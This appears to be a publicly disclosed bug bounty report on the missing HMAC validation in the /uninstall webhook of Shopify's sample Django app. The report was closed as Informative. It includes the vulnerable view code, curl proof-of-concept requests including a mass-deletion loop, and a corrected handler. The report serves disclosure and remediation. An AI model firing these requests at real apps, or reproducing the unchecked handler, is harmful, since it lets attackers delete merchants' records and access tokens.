HexBrain

Shopify · Report #3697491

Missing HMAC validation on /uninstall webhook in Shopify/sample-django-app reference template

Informativestatus
18upvotes
1 Jun 2026disclosed

Summary

The researcher reported that the /uninstall webhook endpoint in Shopify/sample-django-app doesn't validate the X-Shopify-Hmac-Sha256 header before deleting shop records — a deviation from Shopify's documented webhook guidance (https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks).

Closed as Informative because sample-django-app is a reference template that doesn't run in any Shopify-operated environment and doesn't handle real merchant data. Developers building on top of it are responsible for the production-grade controls documented in the link above. Reports must demonstrate exploitable impact on live Shopify systems, merchants or buyers, not theoretical vulnerabilities in sample code.

How it was found

Repository: https://github.com/Shopify/sample-django-app

Description

The /uninstall webhook endpoint in sample-django-app processes incoming requests without verifying the X-Shopify-Hmac-Sha256 header. Shopify explicitly requires this validation as a mandatory security measure for all webhook endpoints, as documented in the official Shopify developer documentation.

As a result, any unauthenticated attacker can send a crafted POST request to delete any merchant’s record from the database, effectively revoking their access token and force-uninstalling the application without their knowledge or consent.

Since this repository is an official Shopify reference template, the vulnerability propagates to any third-party application built on top of it.


Vulnerability Location

File: sample_django_app/shopify_app/views.py — lines 47–51

@csrf_exempt
def uninstall(request):
    uninstall_data = json.loads(request.body)
    shop = uninstall_data.get("domain")
    Shop.objects.filter(shopify_domain=shop).delete()
    return HttpResponse(status=204)

Root cause: The @csrf_exempt decorator is expected here since Shopify cannot send a CSRF token with webhook requests. However, this must be compensated by HMAC signature validation to ensure the request genuinely originates from Shopify. No such validation is present — neither the existence of the header nor its cryptographic integrity is checked before the deletion is executed.


Exploitation Requirements

RequirementNeeded?
Shopify accountNo
AuthenticationNo
Knowledge of a target shop domainYes
Special toolingNo — a single curl command is sufficient

Proof of Concept

Step 1 — Send the unauthenticated request

curl -X POST https://target-app.com/uninstall \
  -H "Content-Type: application/json" \
  -d '{"domain": "target-shop-domain"}'

Step 2 — Observed response

HTTP/1.1 204 No Content

The shop record matching target-shop-domain is deleted from the database. Its Shopify access token is permanently erased. The merchant loses access to the application instantly, with no warning and no action required from the attacker.

Step 3 — Mass deletion

The attack can be repeated for any known shop domain registered on the application, with no rate limiting or authentication preventing it:

for domain in $(cat known_shops.txt); do
  curl -s -o /dev/null -w "%{http_code} $domain\n" \
    -X POST https://target-app.com/uninstall \
    -H "Content-Type: application/json" \
    -d "{\"domain\": \"$domain\"}"
done

Impact

  • For merchants: Sudden and unexplained loss of access to the application. The merchant must reinstall the application and re-grant all permissions manually, with no indication of what happened.
  • For developers using this template: Any application built from sample-django-app inherits this vulnerability directly. An attacker with a list of registered shop domains can wipe all merchant records in seconds.
  • For the Shopify ecosystem: This repository is an official reference template linked in Shopify Partners documentation. A vulnerability here has a multiplied impact across all developers who base their apps on it.

Root Cause & Fix

Shopify’s official documentation mandates HMAC verification on all webhook endpoints:

“Each webhook request includes a X-Shopify-Hmac-Sha256 header […] which is generated using the app’s client secret along with the data sent in the request. To verify that the request came from Shopify, compute the HMAC digest and compare it to the value in the header.”

Source: https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks

Suggested fix

import hmac
import hashlib
import base64

@csrf_exempt
def uninstall(request):
    # Step 1 — Ensure the HMAC header is present
    hmac_header = request.META.get('HTTP_X_SHOPIFY_HMAC_SHA256', '')
    if not hmac_header:
        return HttpResponse(status=401)

    # Step 2 — Compute the expected HMAC
    secret = apps.get_app_config('shopify_app').SHOPIFY_API_SECRET.encode('utf-8')
    digest = hmac.new(secret, request.body, hashlib.sha256).digest()
    computed_hmac = base64.b64encode(digest).decode('utf-8')

    # Step 3 — Constant-time comparison to prevent timing attacks
    if not hmac.compare_digest(computed_hmac, hmac_header):
        return HttpResponse(status=401)

    # Step 4 — Safe to process
    try:
        uninstall_data = json.loads(request.body)
    except json.JSONDecodeError:
        return HttpResponse(status=400)

    shop = uninstall_data.get("domain")
    if not shop:
        return HttpResponse(status=400)

    Shop.objects.filter(shopify_domain=shop).delete()
    return HttpResponse(status=204)

Additional Recommendations

Input validation on the domain field:

if not isinstance(shop, str) or len(shop) > 255:
    return HttpResponse(status=400)

JSON bomb protection — no size limit is enforced on the request body:

if len(request.body) > 10_000:
    return HttpResponse(status=413)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original